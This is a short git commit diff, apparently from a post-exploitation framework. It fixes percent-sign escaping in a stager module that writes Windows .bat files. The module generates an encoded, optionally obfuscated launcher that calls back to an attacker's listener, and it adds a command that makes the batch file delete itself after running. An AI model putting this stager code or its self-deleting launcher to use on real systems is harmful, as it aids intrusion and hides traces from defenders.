Fix conflicts

fix-for-1142
chris 2018-05-06 14:27:20 -04:00
commit 9689c712db
1 changed files with 3 additions and 3 deletions

View File

@ -100,8 +100,8 @@ class Stager:
if obfuscate.lower() == "true":
obfuscateScript = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
# generate the launcher code including escapes for % characters needed for .bat files
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries).replace("%", "%%")
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
@ -112,6 +112,6 @@ class Stager:
if delete.lower() == "true":
# code that causes the .bat to delete itself
code += "start /b \"\" cmd /c del \"%~f0\"&exit /b\n"
code += "start /b \"\" cmd /c del \"%%~f0\"&exit /b\n"
return code